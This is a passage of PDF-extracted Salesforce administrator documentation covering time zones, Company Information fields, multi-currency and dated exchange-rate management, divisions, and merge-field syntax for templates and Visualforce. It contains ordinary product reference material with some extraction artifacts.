Eastern European Time (Europe/Helsinki)

GMT+02:00

Eastern European Time (Europe/Istanbul)

GMT+02:00

Eastern European Time (Europe/Minsk)

GMT+01:00

Central European Time (Europe/Amsterdam)

442

Company Information

Supported Time Zones

Time Zone Code

Time Zone Name

GMT+01:00

Central European Time (Europe/Berlin)

GMT+01:00

Central European Time (Europe/Brussels)

GMT+01:00

Central European Time (Europe/Paris)

GMT+01:00

Central European Time (Europe/Prague)

GMT+01:00

Central European Time (Europe/Rome)

GMT+00:00

Irish Summer Time (Europe/Dublin)

GMT+00:00

Western European Summer Time (Europe/Lisbon)

GMT+00:00

British Summer Time (Europe/London)

GMT+00:00

Greenwich Mean Time (GMT)

GMT-01:00

Cape Verde Time (Atlantic/Cape_Verde)

GMT-02:00

South Georgia Standard Time (Atlantic/South_Georgia)

GMT-03:00

Argentine Summer Time (America/Buenos_Aires)

GMT-03:00

Brasilia Summer Time (America/Sao_Paulo)

GMT-03:30

Newfoundland Daylight Time (America/St_Johns)

GMT-04:00

Atlantic Daylight Time (America/Halifax)

GMT-04:00

Atlantic Standard Time (America/Puerto_Rico)

GMT-04:00

Chile Summer Time (America/Santiago)

GMT-04:00

Atlantic Daylight Time (Atlantic/Bermuda)

GMT-04:30

Venezuela Time (America/Caracas)

GMT-05:00

Colombia Time (America/Bogota)

GMT-05:00

Eastern Daylight Time (America/Indianapolis)

GMT-05:00

Peru Time (America/Lima)

GMT-05:00

Eastern Daylight Time (America/New_York)

GMT-05:00

Eastern Standard Time (America/Panama)

GMT-06:00

Central Daylight Time (America/Chicago)

GMT-06:00

Central Standard Time (America/El_Salvador)

GMT-06:00

Central Standard Time (America/Mexico_City)

GMT-07:00

Mountain Daylight Time (America/Denver)

GMT-07:00

Mountain Standard Time (America/Phoenix)

GMT-08:00

Pacific Daylight Time (America/Los_Angeles)

GMT-08:00

Pacific Standard Time (America/Tijuana)

443

Company Information

Company Information Fields

Time Zone Code

Time Zone Name

GMT-09:00

Alaska Daylight Time (America/Anchorage)

GMT-10:00

Hawaii Standard Time (Pacific/Honolulu)

GMT-11:00

Niue Time (Pacific/Niue)

GMT-11:00

Samoa Standard Time (Pacific/Pago_Pago)

See Also:
Understanding Language, Locale, and Currency

Company Information Fields


The available fields vary according to which Salesforce Edition you have.

The Company Information page has the following fields (listed in alphabetical order), including the user and feature licenses
purchased for your organization.
Field

Description

Address

Street address of the organization. Up to 255 characters are


allowed in this field.

Admin Newsletter

Allow administrators in your organization to choose whether


they want to receive administrator-targeted promotional emails
from salesforce.com.

API Requests, Last 24 Hours

The total number of API requests issued by the organization


in the last 24 hours. The maximum number of requests
depends on your Edition. For a list of request limits by
Edition, see Force.com API Usage Limits on page 2161. For
more information about API usage notification, see About
API Usage Notifications on page 917 or the SOAP API
Developer's Guide.

City

City in which organization is located. Up to 40 characters are


allowed in this field.

Corporate Currency

The currency in which the organization's corporate


headquarters reports revenue. Serves as the basis for all
currency conversion rates. Only for organizations that use
multiple currencies.

Country

Country in which organization is located. Up to 40 characters


are allowed in this field.

444

Company Information

Company Information Fields

Field

Description

Created By

User who signed up the organization, including creation date


and time. (Read only)

Currency Locale

The country or geographic region in which the organization


is located. The setting affects the format of currency amounts.
For single currency organizations only.

Default Language

The default language that is selected for new users in the


organization. This setting determines the language used for
the user interface text and help. In all editions except Personal
Edition and Database.com, individual users can separately set
the language for their own login, which will override the
organization setting. In Group Edition, this field is called
Display Language.
This setting also determines the language in which all
customizationssuch as custom fields, tabs, and user interface
optionsare stored. For customizations, individual users'
language settings do not override this setting.

Default Locale

The default country or geographic region that is selected for


new users in the organization. This setting determines the
format of dates, times, and names in Salesforce. In Contact
Manager, Group, Professional, Enterprise, Unlimited, and
Developer Edition organizations, individual users can set their
personal locale, which overrides the organization setting. In
Group Edition, this field is called Locale.

Default Time Zone

Primary time zone in which the organization is located. A


user's individual Time Zone setting overrides the
organization's Default Time Zone setting.
Note: Organizations in Arizona should select Mountain
Standard Time, and organizations in parts of Indiana that
do not follow Daylight Savings Time should select Eastern
Standard Time.

Division

Group or division that uses the service, for example, PC Sales


Group. Up to 40 characters are allowed in this field.

Fax

Fax number. Up to 40 characters are allowed in this field.

Fiscal Year Starts In

If using a standard fiscal year, the starting month and year for
the organizations fiscal year. If using a custom fiscal year, the
value will be Custom Fiscal Year.

Hide Notices About System Downtime

Select this checkbox to prevent advance notices about planned


system downtime from displaying to users when they log in
to Salesforce.

445

Company Information

Company Information Fields

Field

Description

Hide Notices About System Maintenance

Select this checkbox to prevent advance notices about planned


system maintenance from displaying to users when they log
in to Salesforce.

Modified By

User who last changed the company information, including


modification date and time. (Read only)

Newsletter

Allow users in your organization to choose whether they want


to receive user-targeted promotional emails from
salesforce.com.

Organization Name

Name of the organization. Up to 80 characters are allowed in


this field.

Phone

Main phone number at organization. Up to 40 characters are


allowed in this field.

Primary Contact

Person who is main contact or administrator at the


organization. You can enter a name, or select a name from a
list of previously defined users. Up to 80 characters are allowed
in this field.

Salesforce Licenses

Number of Salesforce user accounts that can be defined for


access to the service. This is the number of Salesforce user
licenses for which the organization is billed, if charges apply.

Salesforce.com Organization ID

Code that uniquely identifies your organization to


salesforce.com.

Restricted Logins, Current Month

Number of restricted login users who have logged in during


the current month.
This value resets to zero at the beginning of each month. The
maximum number of restricted login users for the organization
is in parentheses.

State

State or province in which organization is located. Up to 20


characters are allowed in this field.

Streaming API Events, Last 24 Hours

The total number of Streaming API events used by the


organization in the last 24 hours. The maximum number of
events depends on your edition. For more information about
Streaming API limits, see the Force.com Streaming API
Developers Guide.

Zip

Zip or postal code of the organization. Up to 20 characters


are allowed in this field.

Used Data Space

Amount of data storage in use; the value is expressed as a


measurement (for example, 500 MB) and as a percentage of
the total amount of data storage available (for example, 10%).

446

Multiple Currencies

Managing Multiple Currencies

Field

Description

Used File Space

Amount of file storage in use; the value is expressed as a


measurement (for example, 500 MB) and as a percentage of
the total amount of file storage available (for example, 10%).

See Also:
About Company Information
Understanding Language, Locale, and Currency

MULTIPLE CURRENCIES
Managing Multiple Currencies
Available in: Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view currencies:

View Setup and Configuration

To change currencies:

Customize Application

Your organization can set up the ability to use multiple currencies in opportunities, forecasts, quotes, reports, and other data.
1. Contact salesforce.com to enable Multi-Currency for your organization.
Note: For large organizations, Multi-Currency might be enabled over the next weekend to avoid performance
issues during the work week.
2.
3.
4.
5.

Designate your corporate currency. See Setting Corporate Currency on page 448.
Activate additional currencies for your organization. See Activating and Deactivating Currencies on page 449.
To use dated exchange rates, enable advanced currency management.
Set conversion rates for new currencies. See Editing Conversion Rates. If you have enabled advanced currency management,
see Editing Dated Exchange Rates on page 453.

Using Multiple Currencies


International organizations can use multiple currencies in opportunities, forecasts, reports, quotes, and other currency fields.
The administrator sets the corporate currency, which reflects the currency of the corporate headquarters. The administrator
also maintains the list of active currencies and their conversion rates relative to the corporate currency. The active currencies
represent the countries in which the organization does business. Only active currencies can be used in currency amount fields.

447

Multiple Currencies

Setting Corporate Currency

Every user also has a personal currency, which is used as the default currency in his or her own quotas, forecasts (depending
on which forecasting version you use), opportunities, quotes, and reports. Users can also create opportunities and enter amounts
using other active currencies.
Every lead, account, contact, opportunity, and case has a field that specifies the currency to use for all amount fields in that
record. For example, you can set the Account Currency to USD-U.S. Dollars so that the Annual Revenue shows in
dollars for one of your American accounts. All currency amounts are displayed in the default currency of the record as well as
in the personal currency of the user. When you change the default currency of a record, currency amounts are not converted;
they simply display with the new currency code.
Note: If your organization uses advanced currency management, the opportunity close date determines which conversion
rate to use when displaying currency amounts.
Depending on the forecasting version you have, forecasts currency amounts are automatically converted to the users personal
currency; additionally, for managers, their teams opportunities, forecasts, quotes, and other data is converted and rolled up to
the managers personal currency. The manager can also drill down to see the data in its native currency. All conversion and
roll-ups happen automatically.
Amounts in reports are shown in their original currencies, but can be displayed in any active currency. You can change the
currency used for report totals by selecting a currency from Show > Currencies. The default value for the drop-down is your
personal currency. For any amount, you can also choose to display the Converted columnfor example, Annual Revenue
Convertedwhich will show amounts in the currency you select.
Custom formula fields are not tied to any particular currency. If the result of a formula field is a currency amount, it displays
in the currency of the associated record. This is also true for cross-object formulas that reference merge fields with different
currencies, and formulas in workflow rules and approval processes. However, note that workflow rules and approval processes
that use filters instead of formulas convert all currency values to the corporate currency.
You cannot disable multiple currencies for your organization if the currency fields are referenced in Apex. For example, if
Apex code references the Account Currency field (represented as CurrencyIsoCode in the code), multiple currencies
cannot be disabled. For more information, see Apex Code Overview on page 1994.

See Also:
Administrator setup guide: Using Multiple Currencies
Importing Multiple Currencies

Setting Corporate Currency


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view currencies:

View Setup and Configuration

To change currencies:

Customize Application

Your administrator must specify a Corporate Currency, which reflects the currency in which your corporate headquarters
reports revenue. A salesforce.com representative initially sets your corporate currency upon activation of the feature.

448

Multiple Currencies

Activating and Deactivating Currencies

To change your corporate currency:


1. Click Your Name > Setup > Company Profile > Manage Currencies.
2. Click Change Corporate.
3. Choose a new corporate currency from the list of active currencies, and click Save. If you have not yet set up any currencies,
see Activating and Deactivating Currencies on page 449.
The corporate currency is the currency on which all of your conversion rates are based.

See Also:
Managing Multiple Currencies
Editing Conversion Rates
About Advanced Currency Management
Administrator setup guide: Using Multiple Currencies

Activating and Deactivating Currencies


Available in: Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view currencies:

View Setup and Configuration

To change currencies:

Customize Application

To use multiple currencies, your administrator must specify which currencies are supported for your organization.

Active currenciesThese represent countries in which your organization does business. Only active currencies can be
entered in opportunities, forecasts, and other items.Once you activate a currency, you can never permanently delete it.
Inactive currenciesThese are currencies that your organization no longer uses. You may have existing records that use
inactive currencies, but you cannot enter new amounts in inactive currencies.

To activate new currencies:


1.
2.
3.
4.
5.
6.

Click Your Name > Setup > Company Profile > Manage Currencies.
Click New in the Active Currencies related list.
Select a currency. Currencies are alphabetized using their ISO currency code.
Enter the conversion rate relative to your corporate currency.
Specify the number of decimal places to show for amounts in this currency.
Click Save.

To activate a currency from the list of inactive currencies, click Activate next to the currency.
To deactivate a currency, click Deactivate next to the currency. Deactivating a currency does not alter amounts in items that
use that currency. However, you can no longer enter new amounts using the inactive currency.

449

Multiple Currencies

Editing Conversion Rates

Note: Deactivating a currency that is set as a users personal currency automatically resets the users currency to the
corporate currency.

See Also:
Managing Multiple Currencies
Setting Corporate Currency
Editing Conversion Rates
About Advanced Currency Management
Administrator setup guide: Using Multiple Currencies

Editing Conversion Rates


Available in: Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view currencies:

View Setup and Configuration

To change currencies:

Customize Application

You can manage exchange rates between your active and inactive currencies and the corporate currency by editing the conversion
rates. These are static exchange rates that apply to all currency fields used in your organization. In addition to these conversion
rates, your organization may also use dated exchange rates for opportunities and opportunity products. For more information
about dated exchange rates, see About Advanced Currency Management on page 451.
To edit your organization's static conversion rates:
1.
2.
3.
4.
5.

Click Your Name > Setup > Company Profile > Manage Currencies.
If advanced currency management is enabled, click Manage Currencies.
Click Edit Rates in the Active Currencies or Inactive Currencies lists.
Enter the conversion rate between each currency and your corporate currency.
Click Save.

When you change the conversion rates, currency amounts are updated using the new rates. Previous conversion rates are not
stored. All conversions within opportunities, forecasts, and other amounts use the current conversion rate.
If your organization uses advanced currency management, you can also manage dated exchange rates for currency fields on
opportunities and opportunity products. To manage dated exchange rates, see Editing Dated Exchange Rates on page 453.
Note:

You cannot track revenue gain or loss based on currency fluctuations.

450

Advanced Currency Management

About Advanced Currency Management

Changing conversion rates causes a mass recalculation of roll-up summary fields, which may take up to 30 minutes,
depending on the number of records affected and other factors.

See Also:
Managing Multiple Currencies
Setting Corporate Currency
Activating and Deactivating Currencies
Administrator setup guide: Using Multiple Currencies

ADVANCED CURRENCY MANAGEMENT


About Advanced Currency Management
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable advanced currency management:

Customize Application

To view currencies:

View Setup and Configuration

To change currencies:

Customize Application

Advanced currency management allows you to manage dated exchange rates within opportunities using Salesforce. Dated
exchange rates allow you to map a conversion rate to a specific date range. For example, the exchange rate on January 1 was
1 USD to 1.39 AUD, but on February 1, it changed to 1 USD to 1.42 AUD. Your opportunities that closed between January
1 and February 1 use the first exchange rate (1 = 1.39), while opportunities that closed after February 1 used the second
exchange rate (1 = 1.42).
Dated exchange rates are defined using a start date and a conversion rate. Each rate is in effect until either the end of time or
the day before the next start date for that currency. The time between on start date and the next start date is called the exchange
rate date range. These ranges can be as small as a day and as large as all of time.
To enable or disable advanced currency management, see Enabling or Disabling Advanced Currency Management on page
452.
When advanced currency management is first enabled, your existing exchange rates automatically become the first set of dated
exchange rates. These rates will be valid for all time, until you define another set of exchange rates. For more information, see
Editing Dated Exchange Rates on page 453.
If you disable advanced currency management, all currency conversions will use the static conversion rate. See Editing Conversion
Rates on page 450.

451

Advanced Currency Management

Enabling or Disabling Advanced Currency Management

Advanced Currency Management Considerations


Dated exchange rates are used for opportunities, opportunity products, opportunity product schedules, campaign opportunity
fields, and reports related to these objects and fields. Dated exchange rates are not used in forecasting, currency fields in
other objects, or currency fields in other types of reports.
Organizations with advanced currency management support roll-up summary fields between two advanced currency
management objects. For example, roll-up summary fields are supported from an opportunity line object to its opportunity
object, because both are advanced currency management enabled. However, if you enable advanced currency management,
you cannot create roll-up summary fields that calculate currency on the opportunity object rolling up to the account object.
All existing currency-related roll-up summary fields on the opportunity object are disabled and their values are no longer
calculated. If your organization enables advanced currency management, you should delete any currency roll-up summary
fields using opportunities and accounts or opportunities and custom objects.
Campaign opportunity fields use dated exchange rates when calculating the amount in the campaign currency, but are not
used when converting those amounts to the user currency.
Cross-object formulas always use the static conversion rate for currency conversion.
If advanced currency management is enabled, you can't bind Visualforce pages that use <apex:inputField> or
<apex:outputField> components to currency fields that support advanced currency management.

See Also:
Managing Multiple Currencies
Setting Corporate Currency
Activating and Deactivating Currencies
Administrator setup guide: Using Multiple Currencies

Enabling or Disabling Advanced Currency Management


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions.

User Permissions Needed


To enable advanced currency management:

Customize Application

To enable advanced currency management:


1.
2.
3.
4.

Enable multiple currencies for your organization. For more information, see Managing Multiple Currencies on page 447.
Click Your Name > Setup > Company Profile > Manage Currencies.
Click Enable.
When prompted, select Yes, I want to enable Advanced Currency Management and click Enable.

When advanced currency management is first enabled, your existing exchange rates automatically become the first set of dated
exchange rates. These rates will be valid for all time, until you define another set of exchange rates.
To disable advanced currency management:
1. Click Your Name > Setup > Company Profile > Manage Currencies.
2. Click Disable.

452

Advanced Currency Management

Editing Dated Exchange Rates

3. When prompted, select Yes, I want to disable Advanced Currency Management and click Disable.
If you disable advanced currency management, all currency conversions will use the static conversion rate. See Editing Conversion
Rates on page 450.
When advanced currency management is enabled, Visualforce <apex:inputField> and <apex:outputField> components
cannot display currency fields.

See Also:
About Advanced Currency Management

Editing Dated Exchange Rates


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view currencies:

View Setup and Configuration

To change currencies:

Customize Application

To add new dated exchange rates:


1.
2.
3.
4.
5.

Click Your Name > Setup > Company Profile > Manage Currencies.
Click Manage Dated Exchange Rates.
Click New Exchange Rates.
Enter the date that the exchange rates go into effect.
Enter the exchange rates.
Note: The exchange rates will default to the current exchange rate. If you do not want to set a new exchange rate
for a currency, delete the exchange rate (leave the field blank).

6. Click Save to save the new dated exchange rates.


To view existing dated exchange rates:
1. Click Your Name > Setup > Company Profile > Manage Currencies.
2. Click Manage Dated Exchange Rates.
3. Select the date range you want to view either by entering the date and clicking Go!, or by selecting Previous Range or
Next Range.
To delete a dated exchange rate for a particular currency:
1.
2.
3.
4.

Click Your Name > Setup > Company Profile > Manage Currencies.
Click Manage Dated Exchange Rates.
Click the name of the currency you want to edit.
Click Del for the date range you want to delete.

453

Divisions

About Divisions

If the date range you want is not displayed, enter it in the Show all rates with start dates between fields and
click Go!.
To edit your dated exchange rates for a particular currency:
1.
2.
3.
4.

Click Your Name > Setup > Company Profile > Manage Currencies.
Click Manage Dated Exchange Rates.
Click the name of the currency you want to edit.
Click Edit for the date range you want to edit. If the date range you want is not displayed, enter it in the Show all
rates with start dates between fields and click Go!.
5. Edit the exchange rate, setting it to the new value for the date range, and click Save.

See Also:
About Advanced Currency Management
Managing Multiple Currencies
Setting Corporate Currency
Activating and Deactivating Currencies
Editing Conversion Rates
Administrator setup guide: Using Multiple Currencies

DIVISIONS
About Divisions
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit divisions:

Modify All Data

To limit list views, searches, and reports by division:

Affected by Divisions

Divisions let you segment your organization's data into logical sections, making searches, reports, and list views more meaningful
to users. For example, you can create a report to show the opportunities for just the North American division, allowing you
to get accurate sales numbers for the North American sales team. Divisions are useful for organizations with extremely large
amounts of data.

454

Divisions

Overview of Divisions

Note: Contact salesforce.com to enable divisions for your organization. Divisions do not restrict users access to data
and are not meant for security purposes.

See Also:
Overview of Divisions
Getting Started with Divisions
Creating and Editing Divisions
Transferring Divisions
Changing Your Working Division
Changing Your Default Division
Administrator tip sheet: Getting Started with Divisions

Overview of Divisions
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit divisions:

Modify All Data

To limit list views, searches, and reports by division:

Affected by Divisions

There are three basic aspects to divisions:

Division on individual recordsDivision is a field on individual records which marks the record as belonging to a particular
division. A record can belong to a division that the administrator creates, or it can belong to the standard global division
which is created automatically when your organization enables divisions.
Default division for a userUsers are assigned to a default division that applies to their newly created accounts, leads,
and custom objects that are enabled for divisions.
Working divisionIf you have the Affected by Divisions permission, you set the division in which you want to work
using a drop-down list in the sidebar. Then, searches will show only the data for your working division. You can change
your working division at any time. If you do not have the Affected by Divisions permission, you do not have a working
division; you always see records in all divisions.

The following table shows how using divisions affects different areas:
Area

Description

Search

If you have the Affected by Divisions permission:


In sidebar search, you can select a working division to
search, or you can search all divisions.
In advanced search, you can perform an advanced search
on a working division or all divisions.

455

Divisions

Area

Overview of Divisions

Description

In global search, you can perform a global search on a


working division or all divisions.
For searches in lookup dialogs, the results include records
in the division you select from the drop-down list in the
lookup dialog window.
Note: All searches within a working division also
include the global division. For example, if you search
within a working division called Western Division,
your results will include records found in both the
Western Division and the global division.

If you do not have the Affected by Divisions permission,


your search results always include records in all divisions.
List views

If you have the Affected by Divisions permission, list views


include only the records in the division you specify when
creating or editing the list view. List views that are not
searching all records (such as My Open Cases) include records
in all divisions.
If you do not have the Affected by Divisions permission,
your list views always include records in all divisions.

Reports

If you have the Affected by Divisions permission, you can


set your report options to include records in just one division
or all divisions. Reports that are already scoped (such as My
Cases or My teams accounts) include records in all divisions,
and you cannot further limit them to a specific division.
If you do not have the Affected by Divisions permission,
your reports always include records in all divisions.

Viewing records and related lists

When viewing the detail page of a record, the related lists


show all associated records to which you have access, regardless
of division.

Creating new records

When you create new accounts, leads, or custom objects that


are enabled for divisions, the division is automatically set to
your default division, unless you override this setting.
When you create new records related to an account or other
record that already has a division, the new record is assigned
to the existing records division. For example, if you create a
custom object record that is on the detail side of a master-detail
relationship with a custom object that has divisions enabled,
it is assigned the master record's division.
When you create records that are not related to other records,
such as private opportunities or contacts not related to an
account, the division is automatically set to the global division.

456

Divisions

Overview of Divisions

Area

Description

Editing records

When editing accounts, leads, or custom objects that are


enabled for divisions, you can change the division. All records
that are associated through a master-detail relationship are
automatically transferred to the new division as well. For
example, contacts and opportunities are transferred to the new
division of their associated account, and detail custom objects
are transferred to their master record's new division.
When editing other types of records, you cannot change the
division setting.

Custom objects

When you enable divisions for a custom object, Salesforce


initially assigns each record for that custom object to the global
division.
When you create a custom object record:

Relationships

If the custom object is enabled for divisions, the record


adopts your default division.
If the custom object is on the detail side of a master-detail
relationship with a divisions-enabled custom object, it
adopts the division of the master record.

If you convert a lookup relationship to a master-detail


relationship, detail records lose their current division and
inherit the division of their master record.
If you convert a master-detail relationship to a lookup
relationship, the division for any detail records is determined
by the previous master record.
If you delete a master-detail relationship, the division for any
detail records is determined by the previous master record.

See Also:
Getting Started with Divisions
Administrator tip sheet: Getting Started with Divisions
About Divisions

457

Divisions

Getting Started with Divisions

Getting Started with Divisions


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit divisions:

Modify All Data

To limit list views, searches, and reports by division:

Affected by Divisions

The basic steps to begin using divisions are:


1. Contact salesforce.com to enable divisions for your organization.
When divisions are enabled, one global division is automatically created for your organization and all records are assigned
to that division by default. The default name for this division is Global, which you may customize if you wish.
2. Create divisions for your organization's data. See Creating and Editing Divisions on page 459.
Before creating divisions, plan which divisions you need based on how you want to segment your data. For example, you
may want one division for all of the records belonging to your North American sales team and one division for your
European sales team. You can create a maximum of 100 divisions, including any inactive ones.
3. For custom objects, select Enable Divisions on the custom object definition page to enable for divisions. See Defining
Custom Objects on page 1735.
4. Transfer leads, accounts, and custom objects into relevant divisions. See Transferring Divisions on page 765.
Transferring records includes associated records. For example, when you transfer divisions for accounts, all records related
to a particular account, such as contacts and opportunities, inherit the division of that account.
5. Add division fields to page layouts, as appropriate.
6. Add divisions to field-level security, as appropriate.
7. Enable the Affected by Divisions permission for users who should be able to limit list views, searches, and reports by
division. Users without this permission still have a default division, can view division fields, change the division for a record,
and specify a division while creating records.
8. Set the default division for all users. See Transferring Divisions on page 765. See also Changing Your Default Division on
page 41 for information on changing divisions for one user at a time.
A users default division determines the division assigned to all new accounts and leads he or she creates, unless the user
explicitly sets a different division. When users create records related to an account or other record that already has a division,
the new record is assigned to the existing records division; the default division is not used.
Remember to set the default division for all users, even those without the Affected by Divisions permission. Records
created by users without that permission are still assigned to a division.

458

Divisions

Creating and Editing Divisions

9. Instruct users how to set their working division for searches and reports. See Changing Your Working Division on page
62.

See Also:
Overview of Divisions
Administrator tip sheet: Getting Started with Divisions
About Divisions

Creating and Editing Divisions


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit divisions:

Modify All Data

To limit list views, searches, and reports by division:

Affected by Divisions

To create and edit divisions:


1.
2.
3.
4.

Click Your Name > Setup > Company Profile > Manage Divisions.
Click New to create a division, or Edit to change an existing one.
Enter the division name.
Select the checkbox to make the division active, meaning that records and users can be assigned to this division.
You cannot make a division inactive if users or lead queues are assigned to that division.

5. Click Save.
Note: You can create a maximum of 100 divisions, including any inactive ones.

To change the order in which divisions appear in the Division picklist field, click the Sort button and use the arrows to order
the divisions.

See Also:
About Divisions
Overview of Divisions
Getting Started with Divisions
Administrator tip sheet: Getting Started with Divisions

459

Divisions

Managing Templates

Managing Templates
Available in: All Editions except Database.com

Your administrator can create and maintain templates for defining letterheads, sending outbound email, and generating mail
merge documents.

Letterheads define the look and feel of your HTML email templates. Your HTML email templates can inherit the logo,
color, and text settings from a letterhead.
Email templates allow users to send email to contacts, leads, and others using predefined templates.
Mail merge templates allow users to create custom documents using the information from your records. For example, you
can create a customized thank you letter to a specific lead.

See Also:
Creating Letterheads
Managing Email Templates
Managing Mail Merge Templates
Merge Fields Overview

Merge Fields Overview


The available merge fields vary according to which Salesforce Edition you have.

You can use merge fields within custom formula fields, s-controls, custom links, custom buttons, Visualforce pages, and when
you create email or mail merge templates. Merge fields serve as placeholders for data that will be replaced with information
from your records, user information, or company information.

Guidelines for Using Merge Fields

General merge field syntax guidelines:


The syntax for a merge field may differ, depending on where you are using it in Salesforce. To ensure that you are using
the correct syntax, select merge fields from the drop-down list in the editor where you are using the merge field. Here are
a few examples of syntax differences:
When you insert the Account Number merge field in an email template, the syntax consists of an open curly brace and
exclamation point, followed by the type of record, a period, the field name and a closing curly brace:
{!Account.AccountNumber}.
For formula fields and mail merge templates, the merge field is not enclosed in curly braces or preceded by an exclamation
point, nor is it preceded by the type of record, for example: AccountNumber.
For custom objects, the field label is preceded with the type of record and all spaces are converted to underscores. For
example: {!Stockforce_CreatedDate} references the standard field called Created Date for the Stockforce
custom object.

460

Divisions

Managing Templates

For formulas that allow you to reference fields on related objects across multiple relationships, the field name is prefixed
by the name of the relationship. For standard relationships, the name of the relationship is the master object. For
example, you can reference the account name merge field from a contact validation rule using Account.Name; you
can reference the phone number of the account creator from an opportunity product formula field using
Opportunity.Account.CreatedBy.Phone. For custom relationships, the name of the relationship is the Field
Name given when creating the relationship with __r appended to it. For example, reference the contact email merge
field from a custom object validation rule using the Contact__r.Email merge field name.
Ensure that both the custom field name and label are not identical to the name and label of any existing standard or
custom field for that object. Identical values may result in unexpected behavior when you reference that name in a
merge field.
-

If a standard field and custom field have matching names or labels, the merge field displays the value of the custom
field.
If two custom fields have matching names or labels, the merge field may not display the value of the field you expect.

For example, if you create a field label called Email, the field name automatically populates as Email__c. If you also
have a standard field with the label Email, the merge field may not be able to distinguish between the standard and
custom field names. Make both the custom field name and label unique by adding a character to each, such as Email2
and Email2__c, respectively.
If your organization has enabled person accounts, account fields that previously had unique names and labels may no
longer be unique because some contact fields are displayed as part of the account object. These fields on the accounts
page are identified by the person account icon ( ). Ensure that all custom fields under account have unique field
names and labels so that the merge field references the correct field. For more information, see What is a Person
Account? on page 68.
Salesforce rounds numbers referenced in merge fields according to the user's locale, not the number of decimal of spaces
specified in the number field configuration.

Merge field guidelines for email templates and mail merge templates:
Each mail merge field label you use must be unique.
In email templates, you can add substitute text to any merge field. Substitute text displays in a sent email if the merge
record does not contain data for that field. To add substitute text, place a comma after the field name and enter the
text before the closing bracket, for example: Dear {!Contact.FirstName, Sir or Madam}. When you save the
template, the merge field will appear in the email template with the following syntax: Dear
{!BLANKVALUE(Contact.FirstName, "Sir or Madam")}.
For email templates, if a custom objects name and label is identical to the name and label of another standard or custom
object, you may see unexpected behavior when using merge fields from custom objects.
-

If a standard object and custom object have matching names or labels, only the standard object's fields display when
you select from Available Merge Fields. For example, if you have a custom object and a standard object both called
Quote, the custom object wont be available for selection. To ensure that you can select merge fields from either
object, make the custom object name and label unique by adding a character, such as Quote2.
If two or more custom objects have matching names or labels, only one of the objects displays when you select from
Available Merge Fields. Ensure that all custom objects have unique names and labels so that you can select merge
fields from any of the objects.

For mail merge templates, your merge fields can contain only letters, numbers, and the underscore (_) character. For
example, Opportunity_Product_# is not allowed. Mail merge field names cannot exceed 40 characters.
Templates with contact merge fields can be used to generate email and mail merge documents for leads. Likewise, you
can use lead templates to generate contact emails and documents.
Note: You can only use standard fields when generating email and mail merge documents for leads or contacts.

461

Divisions

Managing Templates

For opportunity mail merges, you can use contact merge fields to merge additional information about a related contact.
Merge fields for products on opportunities are only available to organizations that have enabled products and can only
be used in mail merge templates, but not email templates.
Approval process merge fields can be used in email templates, but not mail merge templates.
If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name}, these
fields will return values only when that email template is used as the approval assignment template. If you use the
template for any other email alert actionin either workflow rules or approval processesthe merge fields will return
a null value.
In approval processes:
-

Merge fields in the approval request email are set to the submitter's name and the name of the first step.
When the request is approved, the merge fields update to the most recent approver's name and the name of the
second step, if applicable.
For subsequent actions, merge field values are updated based on the previous completed step.

The merge fields {!Receiving_User.field_name} and {!Sending_User.field_name} work only in email


templates used for mass emails.
Campaign and campaign member merge fields can be used in email templates, but not mail merge templates.
Campaign member merge fields cannot be used with other types of merge fields in the same email template. For
example, if you create an email template using a campaign member merge field and you want to include the title of the
recipient, use {!CampaignMember.Title} instead of {!Lead.Title} or {!Contact.Title}.
User fields are also known as Sending User fields for administrators and users with the Manage Users permission.
Use them in email templates when referencing the person sending the email.
Administrators and users with the Manage Users permission can use Receiving User merge fields for email templates
to reference the recipient of the email.
When account merge fields are included in an email template and this template is selected after a contact is added to
the email 'To' field, the Account merge fields are populated from the contact's account, not the case's account.
In email templates, the Created Date and Last Modified Date fields display only the date, not the date and
time.

Additional merge field guidelines:


A subset of user fields are available for customizing Self-Service pages.
For local account, contact, and lead names, the standard merge field name will be used whenever the local name is
blank.
If you're using the Translation Workbench to translate custom field names, users can look up merge fields in their
chosen language.
If your organization uses person accounts, both business account and person account fields are available as account
merge fields. Account fields exclusive to person accounts, such as Birthdate, Email, and Title have Account.Person
in their merge field names. For example, {!Account.PersonBirthdate}. Furthermore, you can use the merge
field {!Account.IsPersonAccount} to determine whether you are working with a person account or a business
account.
Build cross-object formulas to span to related objects and reference merge fields on those objects.

462

Divisions

Managing Templates

Visualforce pages also can use merge fields. Anything inside {! } is evaluated as an expression that can access values
from records that are currently in context. For example, you can display the current user's first name by adding the
{!$User.FirstName} merge field to a page:
<apex:page>
Hello {!$User.FirstName}!
s</apex:page>

See Also:
Merge Fields for Cases
Setting Custom Buttons and Links
Managing Mail Merge Templates
Understanding Global Variables

Merge Fields for Cases


The available merge fields vary according to which Salesforce Edition you have.

You can use merge fields within custom formula fields, s-controls, custom links, custom buttons, Visualforce pages, and when
you create email or mail merge templates. Merge fields serve as placeholders for data that will be replaced with information
from your records, user information, or company information. The list of available merge fields depends on the type of data
that youre working with. This topic lists a subset of the merge fields for cases.
The syntax for a merge field may differ, depending on where you are using it in Salesforce. To ensure that you are using the
correct syntax, select merge fields from the drop-down list in the editor where you are using the merge field.
Most of the merge fields for cases correspond directly with a case field. See Case Fields on page 3197. These merge fields are
not documented here.
This table explains the more advanced merge fields that represent values derived from processing a case record.
Field

Merge Field

Description

Articles as
PDFs

Case.Articles_as_PDFs Articles associated with the case converted to PDF attachments.

Email Thread

Case.Email_Thread

In the Emails related list on the case detail page, users can click Send an
Email and choose a template containing this merge field. The attachments
can be previewed or deleted before the email is sent. See Sending Articles
from Cases on page 3189.
A thread of all emails where the case contact is a sender or recipient (To, CC,
or BCC). The emails are listed in reverse chronological order so the most
